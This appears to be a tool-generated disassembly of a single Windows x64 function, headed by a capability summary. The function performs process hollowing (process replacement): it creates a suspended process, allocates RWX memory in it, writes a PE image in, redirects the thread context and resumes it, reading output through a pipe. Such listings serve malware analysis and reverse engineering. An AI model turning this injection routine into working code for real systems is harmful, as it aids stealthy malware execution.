Function at 0x7ff61ac34f90
Capabilities:
Allocate or change rwx memory
Create pipe
Create process on windows
Create process suspended
Create thread
Inject thread
Read file on windows
Resolve function by parsing pe exports
Resume thread
Spawn thread to rwx shellcode
Terminate process
Use process replacement

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x728]
sub rsp, 0x828
mov rax, qword [0x7ff61b637500]
xor rax, rsp
mov qword [rbp + 0x710], rax
mov qword [rbp - 0x38], r9
mov qword [rbp - 0x30], r8
mov rdi, rdx
mov qword [rbp - 0x70], rdx
mov r13, rcx
mov qword [rbp + 0x270], rdx
xor r12d, r12d
mov dword [rsp + 0x70], r12d
movsxd r14, dword [rcx + 0x3c]
add r14, rcx
cmp byte [rbp + 0x798], r12b
je 0x7ff61ac35008
lea r8, [0x7ff61acff5a0]
mov edx, 0x400
lea rcx, [rbp + 0x310]
call fcn.7ff61ab13520
jmp 0x7ff61ac3501d
mov r8d, 0x400
lea rdx, [rbp + 0x310]
xor ecx, ecx
call qword [sym.imp.kernel32.dll_GetModuleFileNameA]
cmp dword [r14], 0x4550
jne 0x7ff61ac35b7d
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x78], xmm0
mov qword [rbp - 0x78], rax
xorps xmm1, xmm1
movups xmmword [rbp + 0x104], xmm1
movups xmmword [rbp + 0x114], xmm1
movups xmmword [rbp + 0x124], xmm1
movups xmmword [rbp + 0x134], xmm1
movups xmmword [rbp + 0x144], xmm1
mov dword [rbp + 0x154], eax
mov dword [rbp + 0x100], 0x68
mov dword [rbp - 0x28], 0x18
mov qword [rbp - 0x20], r12
mov dword [rbp - 0x18], 1
xor r9d, r9d
lea r8, [rbp - 0x28]
lea rdx, [rbp - 0x40]
lea rcx, [rbp - 0x48]
call qword [sym.imp.kernel32.dll_CreatePipe]
test eax, eax
jne 0x7ff61ac350e0
mov rdx, qword [rdi + 0x18]
cmp rdx, 0xf
jbe 0x7ff61ac350cf
inc rdx
mov rcx, qword [rdi]
cmp rdx, 0x1000
jb 0x7ff61ac350ca
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x7ff61ac350d9
mov rcx, r8
call fcn.7ff61ac580a8
mov eax, 2
jmp 0x7ff61ac35bb8
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
nop
mov rax, qword [rbp - 0x40]
mov qword [rbp + 0x158], rax
mov qword [rbp + 0x160], rax
or dword [rbp + 0x13c], 0x100
lea rax, [0x7ff61ad33d58]
mov qword [rbp - 0x10], rax
lea rax, [0x7ff61ad30ed0]
mov qword [rbp], rax
lea rcx, [rbp + 0x88]
call qword [sym.imp.msvcp140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov dword [rsp + 0x70], 8
xor r8d, r8d
lea rdx, [rbp + 8]
lea rcx, [rbp - 0x10]
call qword [sym.imp.msvcp140.dll_public:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64____ptr64]
nop
mov rax, qword [rbp - 0x10]
movsxd rcx, dword [rax + 4]
lea r15, [0x7ff61acff598]
mov qword [rbp + rcx - 0x10], r15
mov rax, qword [rbp - 0x10]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx - 0x14], edx
lea rcx, [rbp + 8]
call qword [sym.imp.msvcp140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rax, [0x7ff61acfeb40]
mov qword [rbp + 8], rax
mov qword [rbp + 0x70], r12
mov dword [rbp + 0x78], r12d
xorps xmm0, xmm0
movups xmmword [rbp + 0x2d0], xmm0
mov qword [rbp + 0x2e0], 2
mov qword [rbp + 0x2e8], 0xf
mov eax, 0x7261
mov word [rbp + 0x2d0], ax
mov byte [rbp + 0x2d2], 0
mov rdx, rdi
lea rcx, [rbp + 0x2f0]
call fcn.7ff61ab2ad10
nop
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], r12
mov ecx, 0x40
call fcn.7ff61ac5806c
mov rbx, rax
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rax
lea rcx, [rax + 0x40]
mov qword [rsp + 0x68], rcx
lea rax, [rsp + 0x58]
mov qword [rbp - 0x50], rax
lea rsi, [rbp + 0x2d0]
mov qword [rbp + 0x2a0], rbx
mov qword [rbp + 0x2a8], rbx
lea rax, [rsp + 0x58]
mov qword [rbp + 0x2b0], rax
nop dword [rax + rax]
mov rdx, rsi
mov rcx, rbx
call fcn.7ff61ab2ad10
add rbx, 0x20
mov qword [rbp + 0x2a8], rbx
add rsi, 0x20
lea rax, [rbp + 0x310]
cmp rsi, rax
jne 0x7ff61ac35220
mov qword [rsp + 0x60], rbx
lea r9, [fcn.7ff61ab2ab10]
mov edx, 0x20
lea r8d, [rdx - 0x1e]
lea rcx, [rbp + 0x2d0]
call fcn.7ff61ac57f54
mov rsi, qword [rsp + 0x60]
mov rbx, qword [rsp + 0x58]
cmp rbx, rsi
je 0x7ff61ac352a8
mov rdx, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x7ff61ac35283
mov rdx, qword [rbx]
mov r8, qword [rbx + 0x10]
lea rcx, [rbp]
call fcn.7ff61ab3ee90
mov rcx, rax
lea rdx, [0x7ff61aceefb0]
call fcn.7ff61ab334c0
add rbx, 0x20
cmp rbx, rsi
jne 0x7ff61ac35276
lea rdx, [rbp + 0x278]
lea rcx, [rbp + 8]
call fcn.7ff61ab2d3e0
nop
lea rdx, [rbp + 0x278]
cmp qword [rbp + 0x290], 0xf
cmova rdx, qword [rbp + 0x278]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x100]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x8000004
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
lea rcx, [rbp + 0x310]
call qword [sym.imp.kernel32.dll_CreateProcessA]
test eax, eax
je 0x7ff61ac35a2a
mov edx, 0x4d0
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x1000
call qword [sym.imp.kernel32.dll_VirtualAlloc]
mov r15, rax
mov dword [rax + 0x30], 0x10000b
mov rdx, rax
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.kernel32.dll_GetThreadContext]
test eax, eax
je 0x7ff61ac35a23
mov rdx, qword [r15 + 0x88]
add rdx, 0x10
mov qword [rsp + 0x20], r12
mov r9d, 8
lea r8, [rbp + 0xf0]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.kernel32.dll_ReadProcessMemory]
mov r8d, dword [r14 + 0x50]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov rdx, qword [r14 + 0x30]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.kernel32.dll_VirtualAllocEx]
mov r12, rax
mov r9d, dword [r14 + 0x54]
xor ebx, ebx
mov qword [rsp + 0x20], rbx
mov r8, r13
mov rdx, rax
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.kernel32.dll_WriteProcessMemory]
mov esi, ebx
cmp bx, word [r14 + 6]
jae 0x7ff61ac35410
xor edi, edi
nop dword [rax]
nop dword [rax + rax]
movzx eax, word [r14 + 0x14]
add rax, rbx
mov r9d, dword [rax + r14 + 0x28]
mov r8d, dword [rax + r14 + 0x2c]
add r8, r13
mov edx, dword [rax + r14 + 0x24]
add rdx, r12
mov qword [rsp + 0x20], rdi
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.kernel32.dll_WriteProcessMemory]
inc esi
add rbx, 0x28
movzx eax, word [r14 + 6]
cmp esi, eax
jl 0x7ff61ac353d0
mov rdi, qword [rbp - 0x70]
mov rdx, qword [r15 + 0x88]
add rdx, 0x10
xor r13d, r13d
mov qword [rsp + 0x20], r13
lea r9d, [r13 + 8]
lea r8, [r14 + 0x30]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.kernel32.dll_WriteProcessMemory]
mov eax, dword [r14 + 0x28]
add rax, r12
mov qword [r15 + 0x80], rax
mov rdx, r15
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.kernel32.dll_SetThreadContext]
cmp byte [rbp + 0x7a0], r13b
je 0x7ff61ac356c9
mov r9d, 0x23600
lea r8, [0x7ff61aea44d0]
mov edx, dword [rbp - 0x78]
lea rcx, [rbp + 0x2a0]
call fcn.7ff61ac11eb0
mov rdx, qword [rbp + 0x2c0]
cmp byte [rbp + 0x2a0], r13b
jne 0x7ff61ac3568c
cmp rdx, 0xf
jbe 0x7ff61ac354c8
inc rdx
mov rcx, qword [rbp + 0x2a8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff61ac354c3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x7ff61ac356bd
call fcn.7ff61ac580a8
movdqa xmm0, xmmword [0x7ff61ad34010]
movdqu xmmword [rbp + 0x2b8], xmm0
mov byte [rbp + 0x2a8], r13b
mov rdx, qword [rbp + 0x290]
cmp rdx, 0xf
jbe 0x7ff61ac35523
inc rdx
mov rcx, qword [rbp + 0x278]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff61ac3551e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x7ff61ac3551e
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.7ff61ac580a8
movdqa xmm0, xmmword [0x7ff61ad34010]
movdqu xmmword [rbp + 0x288], xmm0
mov byte [rbp + 0x278], 0
mov rbx, qword [rsp + 0x58]
test rbx, rbx
je 0x7ff61ac355ef
mov rsi, qword [rsp + 0x60]
cmp rbx, rsi
je 0x7ff61ac355a5
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x7ff61ac35588
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x7ff61ac35583
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x7ff61ac355d2
mov rcx, r8
call fcn.7ff61ac580a8
mov qword [rbx + 0x10], r13
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
add rbx, 0x20
cmp rbx, rsi
jne 0x7ff61ac35552
mov rbx, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x68]
sub rdx, rbx
and rdx, 0xffffffffffffffe0
mov rax, rbx
cmp rdx, 0x1000
jb 0x7ff61ac355d9
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x7ff61ac355d9
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rbx
call fcn.7ff61ac580a8
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], r13
mov rax, qword [rbp - 0x10]
movsxd rcx, dword [rax + 4]
lea rsi, [0x7ff61acff598]
mov qword [rbp + rcx - 0x10], rsi
mov rax, qword [rbp - 0x10]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx - 0x14], edx
lea rcx, [rbp + 8]
call fcn.7ff61ab2a360
lea rcx, [rbp + 0x10]
call qword [sym.imp.msvcp140.dll_public_virtual:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x88]
call qword [sym.imp.msvcp140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rdi + 0x18]
cmp rdx, 0xf
jbe 0x7ff61ac3566c
inc rdx
mov rcx, qword [rdi]
cmp rdx, 0x1000
jb 0x7ff61ac35667
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x7ff61ac35685
mov rcx, r8
call fcn.7ff61ac580a8
mov qword [rdi + 0x10], r13
mov qword [rdi + 0x18], 0xf
mov byte [rdi], 0
mov eax, 5
jmp 0x7ff61ac35bc7
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
nop
cmp rdx, 0xf
jbe 0x7ff61ac356c9
inc rdx
mov rcx, qword [rbp + 0x2a8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff61ac356c4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x7ff61ac356c4
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.7ff61ac580a8
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.kernel32.dll_ResumeThread]
lea rax, [0x7ff61ad33d58]
mov qword [rbp + 0x170], rax
lea rax, [0x7ff61ad30ed0]
mov qword [rbp + 0x180], rax
lea rcx, [rbp + 0x208]
call qword [sym.imp.msvcp140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov dword [rsp + 0x70], 0xd
xor r8d, r8d
lea rdx, [rbp + 0x188]
lea rcx, [rbp + 0x170]
call qword [sym.imp.msvcp140.dll_public:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64____ptr64]
nop
mov rax, qword [rbp + 0x170]
movsxd rcx, dword [rax + 4]
lea rsi, [0x7ff61acff598]
mov qword [rbp + rcx + 0x170], rsi
mov rax, qword [rbp + 0x170]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx + 0x16c], edx
lea rcx, [rbp + 0x188]
call qword [sym.imp.msvcp140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rax, [0x7ff61acfeb40]
mov qword [rbp + 0x188], rax
mov qword [rbp + 0x1f0], r13
mov dword [rbp + 0x1f8], r13d
mov byte [rsp + 0x50], 0
lea rax, [rsp + 0x78]
mov qword [rbp - 0x70], rax
lea rax, [rsp + 0x50]
mov qword [rbp - 0x68], rax
lea rax, [rbp + 0x170]
mov qword [rbp - 0x60], rax
mov ecx, 0x18
call fcn.7ff61ac5806c
test rax, rax
je 0x7ff61ac357bc
movups xmm0, xmmword [rbp - 0x70]
movups xmmword [rax], xmm0
movsd xmm1, qword [rbp - 0x60]
movsd qword [rax + 0x10], xmm1
jmp 0x7ff61ac357bf
mov rax, r13
mov qword [rbp - 0x70], rax
lea rcx, [rbp + 0x2a8]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r13d
mov r9, rax
lea r8, [0x7ff61ac14d40]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ucrtbase.dll__beginthreadex]
mov qword [rbp + 0x2a0], rax
test rax, rax
je 0x7ff61ac35bf1
cmp dword [rbp + 0x2a8], 0
je 0x7ff61ac35c03
movaps xmm0, xmmword [rbp + 0x2a0]
movdqa xmmword [rbp - 0x70], xmm0
lea rcx, [rbp - 0x70]
call sub.msvcp140.dll__Thrd_detach
test eax, eax
jne 0x7ff61ac35c03
mov r8, qword [rbp - 0x38]
dec r8d
mov qword [rsp + 0x20], r13
lea r9, [rbp - 0x50]
mov rbx, qword [rbp - 0x30]
mov rdx, rbx
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.kernel32.dll_ReadFile]
test eax, eax
je 0x7ff61ac3584e
mov eax, dword [rbp - 0x50]
mov byte [rax + rbx], 0
mov byte [rsp + 0x50], 1
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.kernel32.dll_CloseHandle]
mov rcx, qword [rbp - 0x40]
call qword [sym.imp.kernel32.dll_CloseHandle]
cmp byte [rbp + 0x790], 0
je 0x7ff61ac3587e
xor edx, edx
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.kernel32.dll_TerminateProcess]
nop
mov rax, qword [rbp + 0x170]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x170], rsi
mov rax, qword [rbp + 0x170]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx + 0x16c], edx
lea rcx, [rbp + 0x188]
call fcn.7ff61ab2a360
lea rcx, [rbp + 0x190]
call qword [sym.imp.msvcp140.dll_public_virtual:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x208]
call qword [sym.imp.msvcp140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rbp + 0x290]
cmp rdx, 0xf
jbe 0x7ff61ac35914
inc rdx
mov rcx, qword [rbp + 0x278]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff61ac3590f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x7ff61ac3590f
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.7ff61ac580a8
movdqa xmm0, xmmword [0x7ff61ad34010]
movdqu xmmword [rbp + 0x288], xmm0
mov byte [rbp + 0x278], 0
mov rcx, qword [rsp + 0x58]
test rcx, rcx
je 0x7ff61ac35990
lea r8, [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
call fcn.7ff61ac140b0
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x58]
sub rdx, rcx
and rdx, 0xffffffffffffffe0
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff61ac3597d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x7ff61ac3597d
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.7ff61ac580a8
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], r13
mov rax, qword [rbp - 0x10]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx - 0x10], rsi
mov rax, qword [rbp - 0x10]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx - 0x14], edx
lea rcx, [rbp + 8]
call fcn.7ff61ab2a360
lea rcx, [rbp + 0x10]
call qword [sym.imp.msvcp140.dll_public_virtual:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x88]
call qword [sym.imp.msvcp140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rdi + 0x18]
cmp rdx, 0xf
jbe 0x7ff61ac35a06
inc rdx
mov rcx, qword [rdi]
cmp rdx, 0x1000
jb 0x7ff61ac35a01
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x7ff61ac35a1c
mov rcx, r8
call fcn.7ff61ac580a8
mov qword [rdi + 0x10], r13
mov qword [rdi + 0x18], 0xf
mov byte [rdi], 0
xor eax, eax
jmp 0x7ff61ac35bc7
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
nop
lea r15, [0x7ff61acff598]
mov rdx, qword [rbp + 0x290]
cmp rdx, 0xf
jbe 0x7ff61ac35a6e
inc rdx
mov rcx, qword [rbp + 0x278]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff61ac35a69
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x7ff61ac35a69
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.7ff61ac580a8
movdqa xmm0, xmmword [0x7ff61ad34010]
movdqu xmmword [rbp + 0x288], xmm0
mov byte [rbp + 0x278], 0
mov rbx, qword [rsp + 0x58]
test rbx, rbx
je 0x7ff61ac35b3d
mov rsi, qword [rsp + 0x60]
cmp rbx, rsi
je 0x7ff61ac35af3
nop dword [rax]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x7ff61ac35ad6
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x7ff61ac35ad1
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x7ff61ac35b20
mov rcx, r8
call fcn.7ff61ac580a8
mov qword [rbx + 0x10], r12
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
add rbx, 0x20
cmp rbx, rsi
jne 0x7ff61ac35aa0
mov rbx, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x68]
sub rdx, rbx
and rdx, 0xffffffffffffffe0
mov rax, rbx
cmp rdx, 0x1000
jb 0x7ff61ac35b27
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x7ff61ac35b27
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rbx
call fcn.7ff61ac580a8
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], r12
mov rax, qword [rbp - 0x10]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx - 0x10], r15
mov rax, qword [rbp - 0x10]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx - 0x14], edx
lea rcx, [rbp + 8]
call fcn.7ff61ab2a360
lea rcx, [rbp + 0x10]
call qword [sym.imp.msvcp140.dll_public_virtual:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x88]
call qword [sym.imp.msvcp140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rdi + 0x18]
cmp rdx, 0xf
jbe 0x7ff61ac35bb3
inc rdx
mov rcx, qword [rdi]
cmp rdx, 0x1000
jb 0x7ff61ac35bae
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x7ff61ac35bea
mov rcx, r8
call fcn.7ff61ac580a8
mov eax, 1
mov byte [rdi], 0
mov qword [rdi + 0x18], 0xf
mov qword [rdi + 0x10], r12
mov rcx, qword [rbp + 0x710]
xor rcx, rsp
call fcn.7ff61ac57d50
add rsp, 0x828
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
nop
mov dword [rbp + 0x2a8], r13d
mov ecx, 6
call sub.msvcp140.dll_void___cdecl_std::_Throw_Cpp_error_int_
nop
mov ecx, 1
call sub.msvcp140.dll_void___cdecl_std::_Throw_Cpp_error_int_
int3